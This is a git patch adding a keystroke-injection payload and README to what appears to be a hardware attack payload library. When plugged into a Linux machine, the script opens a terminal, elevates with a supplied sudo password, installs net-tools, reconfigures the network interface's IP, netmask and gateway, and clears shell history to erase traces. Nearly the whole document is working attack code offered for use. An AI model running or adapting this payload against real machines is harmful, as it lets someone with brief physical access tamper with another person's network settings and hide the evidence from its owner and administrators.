From ba2d287696228cc569beb2a4daa7594dfb36085b Mon Sep 17 00:00:00 2001 From: Alessandro Date: Fri, 10 Mar 2023 16:55:04 +0100 Subject: [PATCH 1/2] Create payload.txt --- .../payload.txt | 81 +++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt diff --git a/payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt b/payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt new file mode 100644 index 0000000..af732aa --- /dev/null +++ b/payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt @@ -0,0 +1,81 @@ + +REM ############################################### +REM # | +REM # Title : Change Network Configuration | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execution | +REM # Target : Linux | +REM # | +REM ############################################### + +REM Requirements: +REM - Permissions + +DELAY 1000 +CTRL-ALT t +DELAY 2000 + + +REM #### PERMISSIONS SECTION #### + + +REM Required: You need to know the sudo password and replace 'example' with this +DEFINE SUDO_PASS example +STRING sudo su +ENTER + +DELAY 1000 +STRING SUDO_PASS +ENTER +DELAY 1000 + + +REM #### IP SECTION #### + + +REM net-tools command +STRING apt install net-tools +ENTER +DELAY 2000 + +REM Set network interface +DEFINE IP 192.168.1.100 +DEFINE MASK 255.255.255.0 +DEFINE GATEWAY 192.168.1.1 + +STRING IP=" +STRING IP +STRING " +ENTER +DELAY 500 +STRING MASK=" +STRING MASK +STRING " +ENTER +DELAY 500 +STRING GATEWAY=" +STRING GATEWAY +STRING " +ENTER +DELAY 500 + +REM Get the net interface name +STRING INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}') +ENTER +DELAY 500 +STRING ifconfig $INTERFACE $IP netmask $MASK up +ENTER +DELAY 500 + + +REM #### REMOVE TRACES #### + + +STRING history -c +ENTER +DELAY 500 + +REM Close shell +STRING exit +ENTER From 27747ad0f5730188adbcf99ce01de36dab21886c Mon Sep 17 00:00:00 2001 From: aleff-github Date: Fri, 10 Mar 2023 16:57:29 +0100 Subject: [PATCH 2/2] [+] README.md --- .../README.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 payloads/library/execution/ChangeNetworkConfiguration_Linux/README.md diff --git a/payloads/library/execution/ChangeNetworkConfiguration_Linux/README.md b/payloads/library/execution/ChangeNetworkConfiguration_Linux/README.md new file mode 100644 index 0000000..9fb6564 --- /dev/null +++ b/payloads/library/execution/ChangeNetworkConfiguration_Linux/README.md @@ -0,0 +1,27 @@ + +# Change Network Configuration + +A script used to change the network configuration on a Linux machine. + +**Category**: Execution + +## Description + +A script used to change the network configuration on a Linux machine. + +Opens a shel, get the network card name, set the network configuration, erase traces. + +## Getting Started + +### Dependencies + +* Linux Permissions + +### Executing program + +* Plug in your device + +### Settings + +* Set the sudo password +* Change as you want the network configuration \ No newline at end of file